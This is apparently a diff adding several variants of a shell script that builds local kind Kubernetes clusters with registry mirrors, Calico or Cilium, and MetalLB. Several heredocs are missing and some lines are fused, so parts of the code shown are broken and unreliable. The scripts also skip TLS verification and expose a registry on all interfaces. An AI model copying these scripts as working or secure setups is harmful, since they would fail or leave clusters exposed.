extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break 